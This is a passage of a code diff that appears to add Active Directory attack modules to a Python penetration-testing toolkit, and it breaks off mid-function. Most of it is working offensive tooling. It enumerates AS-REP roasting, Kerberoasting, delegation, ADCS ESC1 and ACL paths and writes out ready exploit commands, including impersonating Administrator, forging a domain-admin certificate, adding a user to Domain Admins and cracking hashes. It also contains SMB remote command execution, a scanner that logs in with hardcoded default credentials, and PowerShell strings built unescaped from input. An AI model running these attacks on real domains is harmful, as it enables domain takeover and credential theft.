conn.search( + search_base=base_dn, + search_filter=search_filter, + attributes=["sAMAccountName", "msDS-AllowedToDelegateTo", "objectClass", "userAccountControl"] + ) + + for entry in conn.entries: + sam = entry.sAMAccountName.value if hasattr(entry, "sAMAccountName") else None + delegations = entry["msDS-AllowedToDelegateTo"].values if hasattr(entry, "msDS-AllowedToDelegateTo") else [] + obj_class = entry.objectClass.value if hasattr(entry, "objectClass") else "unknown" + + if sam and delegations: + for spn in delegations: + abuse_info = { + "source_account": sam, + "account_type": "Computer" if "computer" in str(obj_class).lower() else "User", + "allowed_to_delegate": spn, + "attack_vector": f"If you compromise {sam}, use S4U2Self + S4U2Proxy to get TGT to {spn}", + "exploitation": [ + f"1. Obtain TGT for {sam} (via compromised password/hash)", + f"2. Use S4U2Self to request forwardable TGT for any user (e.g., Administrator)", + f"3. Use S4U2Proxy to request ST to {spn} on behalf of Administrator", + f"4. Use ST to authenticate as Administrator to target service" + ] + } + result["delegation_abuses"].append(abuse_info) + print(f"[VERBOSE] [constrained_delegation_abuse] Found KCD: {sam} -> {spn}", file=sys.stderr, flush=True) + + conn.unbind() + result["success"] = len(result["delegation_abuses"]) > 0 + return result + + except Exception as e: + result["errors"].append(str(e)) + print(f"[VERBOSE] [constrained_delegation_abuse] Error: {str(e)}", file=sys.stderr, flush=True) + return result + + +def adcs_esc_scanner(domain: str, ldap_server: str, timeout: int = 10) -> dict[str, Any]: + """ + Scan for ADCS (Active Directory Certificate Services) ESC misconfigurations. + Detects ESC1, ESC3, and related template-based attacks. + """ + print(f"[VERBOSE] [adcs_esc_scanner] Scanning for ADCS ESC vulnerabilities", file=sys.stderr, flush=True) + + result = { + "success": False, + "esc_vulnerabilities": [], + "errors": [] + } + + try: + server = Server(ldap_server, get_info=None) + conn = Connection(server, auto_bind=True, bind_flow=True) + + # Build base DN for certificate templates + base_dn = ",".join([f"dc={part}" for part in domain.split(".")]) + cert_dn = f"CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,{base_dn}" + + # Search for certificate templates + search_filter = "(objectClass=pKICertificateTemplate)" + conn.search( + search_base=cert_dn, + search_filter=search_filter, + attributes=["cn", "msPKI-Enrollment-Flag", "msPKI-RA-Signature", "pKIExtendedKeyUsage", "nTSecurityDescriptor"] + ) + + for entry in conn.entries: + template_name = entry.cn.value if hasattr(entry, "cn") else "Unknown" + enrollment_flags = entry["msPKI-Enrollment-Flag"].value if hasattr(entry, "msPKI-Enrollment-Flag") else 0 + ra_sig = entry["msPKI-RA-Signature"].value if hasattr(entry, "msPKI-RA-Signature") else 0 + eku = entry["pKIExtendedKeyUsage"].values if hasattr(entry, "pKIExtendedKeyUsage") else [] + + # Check for ESC1: No manager approval + client auth EKU + has_client_auth = any("1.3.6.1.5.5.7.3.2" in str(e) for e in eku) + no_manager_approval = (enrollment_flags & 0x1) == 0 + + if has_client_auth and no_manager_approval: + result["esc_vulnerabilities"].append({ + "template": template_name, + "esc_type": "ESC1", + "severity": "CRITICAL", + "description": "Certificate template allows certificate request without manager approval and has Client Authentication EKU", + "exploitation": [ + f"1. Request certificate from {template_name} template", + "2. Use certificate to authenticate as any user in domain", + "3. Obtain TGT or access to target resources" + ] + }) + print(f"[VERBOSE] [adcs_esc_scanner] Found ESC1 vulnerability in template: {template_name}", file=sys.stderr, flush=True) + + # Check for ESC3: RA agent or other issues + if ra_sig and ra_sig > 0: + result["esc_vulnerabilities"].append({ + "template": template_name, + "esc_type": "ESC3", + "severity": "HIGH", + "description": "Certificate template configured for RA agent based enrollment", + "exploitation": "Potential for unauthorized RA operations" + }) + print(f"[VERBOSE] [adcs_esc_scanner] Found ESC3 vulnerability in template: {template_name}", file=sys.stderr, flush=True) + + conn.unbind() + result["success"] = len(result["esc_vulnerabilities"]) > 0 + return result + + except Exception as e: + result["errors"].append(str(e)) + print(f"[VERBOSE] [adcs_esc_scanner] Error: {str(e)}", file=sys.stderr, flush=True) + return result + + +def acl_privilege_escalation(domain: str, ldap_server: str, username: str = "", timeout: int = 10) -> dict[str, Any]: + """ + Scan for ACL-based privilege escalation opportunities. + Detects GenericAll, GenericWrite, WriteDacl, WriteOwner, etc. on valuable targets. + """ + print(f"[VERBOSE] [acl_privilege_escalation] Scanning for ACL-based privesc opportunities", file=sys.stderr, flush=True) + + result = { + "success": False, + "acl_abuses": [], + "errors": [] + } + + try: + server = Server(ldap_server, get_info=None) + conn = Connection(server, auto_bind=True, bind_flow=True) + + base_dn = ",".join([f"dc={part}" for part in domain.split(".")]) + + # Search for high-value targets (Domain Admins, Enterprise Admins, Domain Controllers) + search_filters = [ + "(memberOf=*CN=Domain Admins*)", + "(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192)", # Domain Controllers + "(cn=krbtgt)", + ] + + for search_filter in search_filters: + try: + conn.search( + search_base=base_dn, + search_filter=search_filter, + attributes=["cn", "objectGuid", "nTSecurityDescriptor"] + ) + + for entry in conn.entries: + obj_name = entry.cn.value if hasattr(entry, "cn") else "Unknown" + + # In a real implementation, would parse nTSecurityDescriptor (binary ACL) + # For now, provide framework for ACL enumeration + result["acl_abuses"].append({ + "target": obj_name, + "search_filter": search_filter, + "note": "Run with proper DACL parser to identify exploitable ACLs", + "common_escalations": [ + "GenericAll on user -> Force password reset via Set-ADAccountPassword", + "GenericWrite on computer -> Add computer to group, modify properties", + "WriteDacl on group -> Add user to group via ACL modification", + "WriteOwner on user -> Change owner to self, modify attributes" + ] + }) + except Exception as e: + continue + + conn.unbind() + result["success"] = len(result["acl_abuses"]) > 0 + return result + + except Exception as e: + result["errors"].append(str(e)) + print(f"[VERBOSE] [acl_privilege_escalation] Error: {str(e)}", file=sys.stderr, flush=True) + return result + + +def auto_privesc( + dc_ip: str, + domain: str, + username: str = "", + password: str = "", + nt_hash: str = "", + lm_hash: str = "", + timeout: int = 30, +) -> dict[str, Any]: + """ + Automated Active Directory privilege escalation enumeration. + + Chains six independent techniques via LDAP / impacket, scoring each + finding by impact. Does NOT automatically exploit - it returns a + ranked list of paths with the exact command to execute each one. + + Techniques: + 1. AS-REP roastable accounts (no pre-auth required) + 2. Kerberoastable SPNs (service account hashes) + 3. Unconstrained delegation computers (TGT harvesting) + 4. Constrained delegation with protocol transition (S4U2Self abuse) + 5. ADCS ESC1/ESC3/ESC9 vulnerable certificate templates + 6. ACL abuse (GenericAll / WriteDacl / WriteOwner on DA/DC/krbtgt) + + For authorized penetration testing only. + """ + print(f"[VERBOSE] [auto_privesc] Starting privilege escalation scan against {dc_ip} / {domain}", file=sys.stderr, flush=True) + + result: dict[str, Any] = { + "success": False, + "dc_ip": dc_ip, + "domain": domain, + "findings": [], + "errors": [], + "summary": "", + } + + lm = lm_hash or (_EMPTY_LM_HASH if nt_hash else "") + hashes_str = f"{lm}:{nt_hash}" if nt_hash else "" + + # -- Helper: LDAP connection -- + def _ldap_conn(): + import ldap3 + server = ldap3.Server(dc_ip, get_info=ldap3.ALL) + if nt_hash: + # NTLM auth with hash + conn = ldap3.Connection( + server, + user=f"{domain}\\{username}", + password=f"{lm}:{nt_hash}", + authentication=ldap3.NTLM, + auto_bind=True, + ) + elif username and password: + conn = ldap3.Connection( + server, + user=f"{domain}\\{username}", + password=password, + authentication=ldap3.NTLM, + auto_bind=True, + ) + else: + conn = ldap3.Connection(server, auto_bind=True) # anonymous + return conn + + base_dn = ",".join(f"DC={p}" for p in domain.split(".")) + + # -- 1. AS-REP roastable accounts -- + try: + import ldap3 + conn = _ldap_conn() + conn.search( + base_dn, + "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304)" + "(!(userAccountControl:1.2.840.113556.1.4.803:=2)))", + attributes=["sAMAccountName", "userAccountControl"], + ) + for entry in conn.entries: + sam = str(entry.sAMAccountName) + result["findings"].append({ + "technique": "AS-REP Roasting", + "impact": "high", + "target": sam, + "description": f"Account {sam} has DONT_REQUIRE_PREAUTH set - AS-REP hash can be requested without credentials", + "exploit_command": f"GetNPUsers.py {domain}/{sam} -no-pass -format hashcat -outputfile asrep.txt", + "next_step": "hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt", + }) + conn.unbind() + print(f"[VERBOSE] [auto_privesc] AS-REP scan: {len([f for f in result['findings'] if f['technique']=='AS-REP Roasting'])} targets", file=sys.stderr, flush=True) + except Exception as e: + result["errors"].append(f"AS-REP scan: {e}") + + # -- 2. Kerberoastable SPNs -- + try: + import ldap3 + conn = _ldap_conn() + conn.search( + base_dn, + "(&(objectClass=user)(servicePrincipalName=*)" + "(!(userAccountControl:1.2.840.113556.1.4.803:=2))" + "(!(objectClass=computer)))", + attributes=["sAMAccountName", "servicePrincipalName"], + ) + for entry in conn.entries: + sam = str(entry.sAMAccountName) + spns = list(entry.servicePrincipalName) + result["findings"].append({ + "technique": "Kerberoasting", + "impact": "high", + "target": sam, + "spns": spns, + "description": f"Service account {sam} has {len(spns)} SPN(s) - TGS-REQ hash crackable offline", + "exploit_command": ( + f"GetUserSPNs.py {domain}/{username}:{password} -dc-ip {dc_ip} -request -outputfile spns.txt" + if password else + f"GetUserSPNs.py {domain}/{username} -hashes {hashes_str} -dc-ip {dc_ip} -request -outputfile spns.txt" + ), + "next_step": "hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt", + }) + conn.unbind() + print(f"[VERBOSE] [auto_privesc] Kerberoast scan: {len([f for f in result['findings'] if f['technique']=='Kerberoasting'])} SPNs", file=sys.stderr, flush=True) + except Exception as e: + result["errors"].append(f"Kerberoast scan: {e}") + + # -- 3. Unconstrained delegation computers -- + try: + import ldap3 + conn = _ldap_conn() + # TrustedForDelegation flag (0x80000) set, not DCs (0x2000 UAC) + conn.search( + base_dn, + "(&(objectClass=computer)" + "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + "(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))", + attributes=["dNSHostName", "sAMAccountName"], + ) + for entry in conn.entries: + host = str(entry.dNSHostName or entry.sAMAccountName) + result["findings"].append({ + "technique": "Unconstrained Delegation", + "impact": "critical", + "target": host, + "description": f"{host} has unconstrained delegation - any TGT sent to it is stored in memory", + "exploit_command": f"Rubeus.exe monitor /interval:5 /nowrap (run on {host})", + "next_step": "Force DC to authenticate via PetitPotam/PrinterBug, capture DA TGT, pass-the-ticket", + }) + conn.unbind() + except Exception as e: + result["errors"].append(f"Unconstrained delegation scan: {e}") + + # -- 4. Constrained delegation with protocol transition -- + try: + import ldap3 + conn = _ldap_conn() + # TrustedToAuthForDelegation (0x1000000) = S4U2Self enabled + conn.search( + base_dn, + "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=16777216)" + "(msDS-AllowedToDelegateTo=*))", + attributes=["sAMAccountName", "msDS-AllowedToDelegateTo"], + ) + for entry in conn.entries: + sam = str(entry.sAMAccountName) + targets = list(entry["msDS-AllowedToDelegateTo"]) + result["findings"].append({ + "technique": "Constrained Delegation (S4U2Self + S4U2Proxy)", + "impact": "critical", + "target": sam, + "allowed_to_delegate": targets, + "description": f"{sam} can impersonate any user to {targets} via S4U2Self + S4U2Proxy", + "exploit_command": f"getST.py -spn {targets[0] if targets else 'cifs/target'} -impersonate Administrator -dc-ip {dc_ip} {domain}/{sam}", + "next_step": "export KRB5CCNAME=Administrator.ccache && psexec.py -k -no-pass target", + }) + conn.unbind() + except Exception as e: + result["errors"].append(f"Constrained delegation scan: {e}") + + # -- 5. ADCS vulnerable templates (ESC1/ESC3) -- + try: + import ldap3 + config_dn = f"CN=Configuration,{base_dn}" + conn = _ldap_conn() + conn.search( + f"CN=Certificate Templates,CN=Public Key Services,CN=Services,{config_dn}", + "(&(objectClass=pKICertificateTemplate)" + "(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)" # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + "(msPKI-Enrollment-Flag:1.2.840.113556.1.4.803:=2))", # CT_FLAG_NO_SECURITY_EXTENSION not needed + attributes=["cn", "msPKI-Certificate-Name-Flag", "msPKI-Enrollment-Flag", "pKIExtendedKeyUsage"], + ) + for entry in conn.entries: + tpl = str(entry.cn) + ekus = list(entry.pKIExtendedKeyUsage) if hasattr(entry, "pKIExtendedKeyUsage") else [] + client_auth = any("1.3.6.1.5.5.7.3.2" in str(e) for e in ekus) + if client_auth: + result["findings"].append({ + "technique": "ADCS ESC1", + "impact": "critical", + "target": tpl, + "description": f"Certificate template '{tpl}' allows subject alternative name + client auth -> forge cert as any user including DA", + "exploit_command": f"certipy req -u {username}@{domain} -hashes {hashes_str} -ca -template {tpl} -upn administrator@{domain}", + "next_step": "certipy auth -pfx administrator.pfx -dc-ip {dc_ip}", + }) + conn.unbind() + except Exception as e: + result["errors"].append(f"ADCS template scan: {e}") + + # -- 6. ACL abuse - dangerous rights on DA / krbtgt / DC -- + try: + import ldap3 + from ldap3.protocol.microsoft import security_descriptor_control + conn = _ldap_conn() + # High-value targets + hv_filters = [ + f"(&(objectClass=group)(cn=Domain Admins))", + f"(cn=krbtgt)", + f"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", + ] + DANGEROUS_RIGHTS = { + 0xF01FF: "GenericAll", + 0x00040000: "WriteDacl", + 0x00080000: "WriteOwner", + 0x00020000: "GenericWrite", + } + for f in hv_filters: + conn.search(base_dn, f, attributes=["cn", "nTSecurityDescriptor"], controls=security_descriptor_control(sdflags=0x04)) + for entry in conn.entries: + obj = str(entry.cn) + raw_sd = entry["nTSecurityDescriptor"].raw_values + if raw_sd: + # Parse DACL - report if any non-builtin ACE has dangerous rights + try: + from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR + sd = SR_SECURITY_DESCRIPTOR() + sd.fromString(raw_sd[0]) + if sd["Dacl"]: + for ace in sd["Dacl"].aces: + mask = ace["Ace"]["Mask"]["Mask"] + for right_val, right_name in DANGEROUS_RIGHTS.items(): + if mask & right_val: + sid = ace["Ace"]["Sid"].formatCanonical() + # Skip well-known privileged SIDs + if not any(sid.endswith(s) for s in ("-512", "-519", "-516", "S-1-5-18", "S-1-5-32-544")): + result["findings"].append({ + "technique": f"ACL Abuse ({right_name})", + "impact": "critical", + "target": obj, + "ace_sid": sid, + "right": right_name, + "description": f"SID {sid} has {right_name} on {obj}", + "exploit_command": ( + f"# GenericAll on group: net rpc group addmem 'Domain Admins' {username} -U {domain}/{username}% -S {dc_ip}" + if right_name == "GenericAll" else + f"# {right_name}: use bloodyAD or PowerView Set-ObjectAcl to abuse" + ), + }) + except Exception: + pass + conn.unbind() + except Exception as e: + result["errors"].append(f"ACL scan: {e}") + + # Sort by impact: critical > high > medium > low + _order = {"critical": 0, "high": 1, "medium": 2, "low": 3} + result["findings"].sort(key=lambda f: _order.get(f.get("impact", "low"), 3)) + result["success"] = bool(result["findings"]) + result["summary"] = ( + f"{len(result['findings'])} privilege escalation paths found: " + + ", ".join(f'{f["technique"]} -> {f["target"]}' for f in result["findings"][:5]) + + ("..." if len(result["findings"]) > 5 else "") + if result["findings"] else "No automated privesc paths identified with current access level." + ) + print(f"[VERBOSE] [auto_privesc] Complete. {len(result['findings'])} findings.", file=sys.stderr, flush=True) + return result + + +# ============================================================================ +# SMBMAP REPLACEMENT (Pure Python/PowerShell SMB enumeration and exploitation) +# ============================================================================ + +class SMBEnumerator: + """SMBMap-like share enumeration without Impacket dependency using pure PowerShell""" + + def __init__(self, target: str, username: str = "", password: str = "", domain: str = "", timeout: int = 30): + self.target = target + self.username = username + self.password = password + self.domain = domain + self.timeout = timeout + self.shares: dict[str, dict[str, Any]] = {} + self.files: dict[str, list[dict[str, Any]]] = {} + + def enumerate_shares(self) -> dict[str, dict[str, str]]: + """Enumerate SMB shares and their permissions (READ/WRITE/NO ACCESS)""" + print(f"[VERBOSE] [SMBEnumerator.enumerate_shares] Enumerating shares on {self.target}", file=sys.stderr, flush=True) + + ps_script = f""" +$ComputerName = '{self.target}' +$shares = @() +try {{ + $smb_shares = Get-SmbShare -ComputerName $ComputerName -ErrorAction Stop + foreach ($share in $smb_shares) {{ + $share_name = $share.Name + $share_path = $share.Path + $share_comment = $share.Description + + # Test READ permission + $can_read = $false + $can_write = $false + try {{ + $test_path = "\\\\$ComputerName\\$share_name" + $items = Get-ChildItem -Path $test_path -ErrorAction Stop + $can_read = $true + }} catch {{}} + + # Test WRITE permission + try {{ + $test_file = "\\\\$ComputerName\\$share_name\\.testwrite_$([guid]::NewGuid())" + New-Item -Path $test_file -ItemType File -Force -ErrorAction Stop | Out-Null + Remove-Item -Path $test_file -Force -ErrorAction Stop + $can_write = $true + }} catch {{}} + + if ($can_read -and $can_write) {{ + $privs = "READ, WRITE" + }} elseif ($can_read) {{ + $privs = "READ ONLY" + }} else {{ + $privs = "NO ACCESS" + }} + + $shares += @{{ + "Name" = $share_name + "Path" = $share_path + "Privs" = $privs + "Comment" = $share_comment + }} + }} +}} catch {{ + Write-Error "Failed to enumerate shares: $_" +}} +$shares | ConvertTo-Json -Depth 2 +""" + + try: + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=self.timeout + ) + + if result.returncode == 0 and result.stdout.strip(): + shares_data = json.loads(result.stdout) + if not isinstance(shares_data, list): + shares_data = [shares_data] + + for share in shares_data: + self.shares[share["Name"]] = { + "path": share.get("Path", ""), + "privs": share.get("Privs", "NO ACCESS"), + "comment": share.get("Comment", "") + } + + print(f"[VERBOSE] [SMBEnumerator.enumerate_shares] Found {len(self.shares)} shares", file=sys.stderr, flush=True) + return self.shares + except Exception as e: + print(f"[VERBOSE] [SMBEnumerator.enumerate_shares] Error: {str(e)}", file=sys.stderr, flush=True) + + return self.shares + + def list_directory(self, share: str, path: str = "\\", recursive: bool = False, depth: int = 2) -> list[dict[str, Any]]: + """Recursively list files/directories in a share""" + print(f"[VERBOSE] [SMBEnumerator.list_directory] Listing {share}:{path} (recursive={recursive}, depth={depth})", file=sys.stderr, flush=True) + + ps_script = f""" +$ComputerName = '{self.target}' +$ShareName = '{share}' +$SharePath = '{path}' +$Recursive = ${str(recursive).lower()} +$Depth = {depth} + +$share_unc = "\\\\$ComputerName\\$ShareName" +$full_path = "$share_unc$SharePath" + +$results = @() +try {{ + if ($Recursive) {{ + $files = Get-ChildItem -Path $full_path -Recurse -Depth $Depth -ErrorAction Stop + }} else {{ + $files = Get-ChildItem -Path $full_path -ErrorAction Stop + }} + + foreach ($file in $files) {{ + $results += @{{ + "FullName" = $file.FullName.Replace("\\\\$ComputerName\\$ShareName", "") + "Name" = $file.Name + "IsDirectory" = $file.PSIsContainer + "Size" = $file.Length + "LastWriteTime" = $file.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss") + }} + }} +}} catch {{ + Write-Error "Failed to list directory: $_" +}} +$results | ConvertTo-Json -Depth 2 +""" + + try: + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=self.timeout + ) + + if result.returncode == 0 and result.stdout.strip(): + files_data = json.loads(result.stdout) + if not isinstance(files_data, list): + files_data = [files_data] + + self.files[f"{share}:{path}"] = files_data + print(f"[VERBOSE] [SMBEnumerator.list_directory] Found {len(files_data)} items", file=sys.stderr, flush=True) + return files_data + except Exception as e: + print(f"[VERBOSE] [SMBEnumerator.list_directory] Error: {str(e)}", file=sys.stderr, flush=True) + + return [] + + def search_files(self, share: str, pattern: str, search_path: str = "\\", timeout: int = 300) -> list[str]: + """Search for files matching a pattern in a share""" + print(f"[VERBOSE] [SMBEnumerator.search_files] Searching for pattern '{pattern}' in {share}:{search_path}", file=sys.stderr, flush=True) + + ps_script = f""" +$ComputerName = '{self.target}' +$ShareName = '{share}' +$SearchPath = '{search_path}' +$Pattern = '{pattern}' + +$share_unc = "\\\\$ComputerName\\$ShareName" +$full_path = "$share_unc$SearchPath" + +$results = @() +try {{ + $files = Get-ChildItem -Path $full_path -Recurse -File -ErrorAction Stop | Where-Object {{ $_.Name -match $Pattern }} + foreach ($file in $files) {{ + $results += $file.FullName.Replace("\\\\$ComputerName\\$ShareName", "") + }} +}} catch {{ + Write-Error "Search failed: $_" +}} +$results | ConvertTo-Json +""" + + try: + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=timeout + ) + + if result.returncode == 0 and result.stdout.strip(): + matches = json.loads(result.stdout) + if isinstance(matches, str): + matches = [matches] + print(f"[VERBOSE] [SMBEnumerator.search_files] Found {len(matches)} matches", file=sys.stderr, flush=True) + return matches + except Exception as e: + print(f"[VERBOSE] [SMBEnumerator.search_files] Error: {str(e)}", file=sys.stderr, flush=True) + + return [] + + def download_file(self, share: str, remote_path: str, local_path: str | None = None) -> bool: + """Download a file from remote share""" + if local_path is None: + local_path = os.path.basename(remote_path) + + print(f"[VERBOSE] [SMBEnumerator.download_file] Downloading {share}:{remote_path} to {local_path}", file=sys.stderr, flush=True) + + remote_unc = f"\\\\{self.target}\\{share}{remote_path}" + + ps_script = f""" +$SourcePath = '{remote_unc}' +$DestPath = '{local_path}' + +try {{ + Copy-Item -Path $SourcePath -Destination $DestPath -Force -ErrorAction Stop + "Success" +}} catch {{ + Write-Error "Download failed: $_" +}} +""" + + try: + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=self.timeout + ) + + if result.returncode == 0 and os.path.exists(local_path): + print(f"[VERBOSE] [SMBEnumerator.download_file] Successfully downloaded {len(open(local_path, 'rb').read())} bytes", file=sys.stderr, flush=True) + return True + except Exception as e: + print(f"[VERBOSE] [SMBEnumerator.download_file] Error: {str(e)}", file=sys.stderr, flush=True) + + return False + + def upload_file(self, local_path: str, share: str, remote_path: str) -> bool: + """Upload a file to remote share""" + print(f"[VERBOSE] [SMBEnumerator.upload_file] Uploading {local_path} to {share}:{remote_path}", file=sys.stderr, flush=True) + + if not os.path.exists(local_path): + print(f"[VERBOSE] [SMBEnumerator.upload_file] Local file not found: {local_path}", file=sys.stderr, flush=True) + return False + + remote_unc = f"\\\\{self.target}\\{share}{remote_path}" + + ps_script = f""" +$SourcePath = '{local_path}' +$DestPath = '{remote_unc}' + +try {{ + Copy-Item -Path $SourcePath -Destination $DestPath -Force -ErrorAction Stop + "Success" +}} catch {{ + Write-Error "Upload failed: $_" +}} +""" + + try: + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=self.timeout + ) + + if result.returncode == 0: + print(f"[VERBOSE] [SMBEnumerator.upload_file] Successfully uploaded", file=sys.stderr, flush=True) + return True + except Exception as e: + print(f"[VERBOSE] [SMBEnumerator.upload_file] Error: {str(e)}", file=sys.stderr, flush=True) + + return False + + def delete_file(self, share: str, remote_path: str) -> bool: + """Delete a file from remote share""" + print(f"[VERBOSE] [SMBEnumerator.delete_file] Deleting {share}:{remote_path}", file=sys.stderr, flush=True) + + remote_unc = f"\\\\{self.target}\\{share}{remote_path}" + + ps_script = f""" +$TargetPath = '{remote_unc}' + +try {{ + Remove-Item -Path $TargetPath -Force -ErrorAction Stop + "Success" +}} catch {{ + Write-Error "Delete failed: $_" +}} +""" + + try: + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=self.timeout + ) + + if result.returncode == 0: + print(f"[VERBOSE] [SMBEnumerator.delete_file] Successfully deleted", file=sys.stderr, flush=True) + return True + except Exception as e: + print(f"[VERBOSE] [SMBEnumerator.delete_file] Error: {str(e)}", file=sys.stderr, flush=True) + + return False + + def execute_command(self, command: str, share: str = "C$") -> str: + """Execute a command on remote host via WMI""" + print(f"[VERBOSE] [SMBEnumerator.execute_command] Executing: {command[:100]}...", file=sys.stderr, flush=True) + + ps_script = f""" +$ComputerName = '{self.target}' +$Command = '{command}' + +try {{ + $result = Invoke-Command -ComputerName $ComputerName -ScriptBlock {{ + $output = cmd.exe /c $using:Command + return $output + }} -ErrorAction Stop + $result +}} catch {{ + Write-Error "Command execution failed: $_" +}} +""" + + try: + result = subprocess.run( + ["powershell.exe", "-NoProfile", "-Command", ps_script], + capture_output=True, + text=True, + timeout=self.timeout + ) + + if result.returncode == 0: + print(f"[VERBOSE] [SMBEnumerator.execute_command] Command executed successfully", file=sys.stderr, flush=True) + return result.stdout + except Exception as e: + print(f"[VERBOSE] [SMBEnumerator.execute_command] Error: {str(e)}", file=sys.stderr, flush=True) + + return result.stderr if result else "Command execution failed" + + +# ============================================================================ +# ============================================================================ +# CVE-2026-59270 - Spring Security Embedded LDAP Hardcoded Credentials +# CVSS 9.4 (Critical) - Published 2026-08-20 +# Affected: Spring Security 5.7.x/5.8.x/6.4.x/6.5.x/7.0.0-7.0.6/7.1.0 +# Fixed: 7.0.7 / 7.1.1 +# ============================================================================ + +# Hardcoded credentials in Spring Security's UnboundIdContainer +_SPRING_LDAP_CREDS: list[tuple[str, str]] = [ + ("uid=admin,ou=system", "secret"), # Default UnboundIdContainer admin + ("uid=admin,ou=people", "secret"), # Common Spring LDAP sample + ("cn=admin,dc=springframework,dc=org", "secret"), # Spring sample config +] + +# Common ports for Spring embedded LDAP +_SPRING_LDAP_PORTS: list[int] = [389, 636, 53389, 33389, 10389, 8389] + + +def scan_cve_2026_59270( + target: str, + ports: list[int] | None = None, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2026-59270 scanner: test for Spring Security embedded LDAP + with hardcoded admin credentials (uid=admin,ou=system / secret). + + Safe: read-only bind + RootDSE query. No data modification. + + The vulnerability: Spring Security's UnboundIdContainer binds the + embedded LDAP server to 0.0.0.0 (all interfaces) instead of 127.0.0.1, + and registers a hardcoded admin DN. Any attacker on the network can + connect with public credentials and read/modify the entire directory. + + Returns: + dict with vulnerable (bool), vulnerable_ports, server_info, + affected_credentials, and remediation guidance. + """ + print(f"[VERBOSE] [CVE-2026-59270] Scanning {target} for Spring Security embedded LDAP hardcoded creds", file=sys.stderr, flush=True) + + check_ports = ports or _SPRING_LDAP_PORTS + results: dict[str, Any] = { + "cve": "CVE-2026-59270", + "cvss": 9.4, + "severity": "CRITICAL", + "target": target, + "vulnerable": False, + "vulnerable_ports": [], + "server_info": {}, + "affected_credentials": [], + "remediation": [ + "Upgrade Spring Security to 7.0.7+ or 7.1.1+", + "Bind embedded LDAP to 127.0.0.1 only", + "Change default admin credentials", + "Use firewall rules to restrict port 389 access", + ], + } + + for port in check_ports: + # Check if port is open first + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) != 0: + s.close() + continue + s.close() + except Exception: + continue + + print(f"[VERBOSE] [CVE-2026-59270] Port {port} open on {target}, testing credentials...", file=sys.stderr, flush=True) + + for bind_dn, bind_pw in _SPRING_LDAP_CREDS: + try: + server = Server(target, port=port, get_info=ALL, connect_timeout=timeout) + conn = Connection( + server, + user=bind_dn, + password=bind_pw, + auto_bind=True, + receive_timeout=timeout, + ) + + if not conn.bound: + conn.unbind() + continue + + # Bind succeeded - vulnerable! + print( + f"[VERBOSE] [CVE-2026-59270] VULNERABLE! Bind succeeded with {bind_dn} on {target}:{port}", + file=sys.stderr, flush=True, + ) + + results["vulnerable"] = True + vuln_entry: dict[str, Any] = { + "port": port, + "bind_dn": bind_dn, + "bind_pw": "***", # Don't leak in output + } + + # Read-only RootDSE query to confirm and extract server info + server_info: dict[str, Any] = {} + if server.info: + info = server.info + if info.naming_contexts: + server_info["namingContexts"] = [str(nc) for nc in info.naming_contexts] + if info.vendor_name: + server_info["vendorName"] = str(info.vendor_name) + if info.vendor_version: + server_info["vendorVersion"] = str(info.vendor_version) + if info.other: + for k in ("supportedLDAPVersion", "subschemaSubentry", "vendorName", "vendorVersion"): + if k in info.other: + server_info[k] = info.other[k] + + # Read-only search: count entries under base DN to assess exposure + entry_count = 0 + if server_info.get("namingContexts"): + base_dn = server_info["namingContexts"][0] + try: + conn.search(base_dn, "(objectClass=*)", search_scope="SUBTREE", size_limit=100) + entry_count = len(conn.entries) + except Exception: + pass + + vuln_entry["server_info"] = server_info + vuln_entry["exposed_entries"] = entry_count + results["vulnerable_ports"].append(port) + results["affected_credentials"].append(vuln_entry) + results["server_info"] = server_info + + conn.unbind() + # Found on this port, no need to test more creds on same port + break + + except Exception as exc: + print( + f"[VERBOSE] [CVE-2026-59270] Bind failed with {bind_dn} on {target}:{port}: {exc}", + file=sys.stderr, flush=True, + ) + continue + + if results["vulnerable"]: + total_entries = sum(c.get("exposed_entries", 0) for c in results["affected_credentials"]) + results["impact"] = ( + f"Full LDAP read/write access via hardcoded credentials on {len(results['vulnerable_ports'])} port(s). " + f"{total_entries} directory entries exposed. Attacker can read user attributes, " + f"password hashes, modify entries, and potentially escalate to application admin." + ) + print( + f"[VERBOSE] [CVE-2026-59270] RESULT: VULNERABLE - {len(results['vulnerable_ports'])} port(s), " + f"{total_entries} entries exposed", + file=sys.stderr, flush=True, + ) + else: + results["impact"] = "Not vulnerable or ports not reachable" + print(f"[VERBOSE] [CVE-2026-59270] RESULT: Not vulnerable", file=sys.stderr, flush=True) + + return results + + +# ============================================================================ +# CVE-2026-54121 - Certighost: AD CS Certificate Enrollment Bypass +# CVSS 8.8 (High) - Patched July 2026 +# Attacker enrolls certificate for any computer account (including DCs) +# via CA enrollment fallback ("chase") with attacker-controlled DC in cdc attr +# ============================================================================ + +def scan_cve_2026_54121( + target: str, + domain: str | None = None, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2026-54121 (Certighost) detection: checks if target runs AD CS + and whether vulnerable certificate templates with enrollment fallback exist. + Safe: read-only LDAP queries only. + """ + print(f"[VERBOSE] [CVE-2026-54121] Scanning {target} for Certighost (AD CS enrollment bypass)", file=sys.stderr, flush=True) + 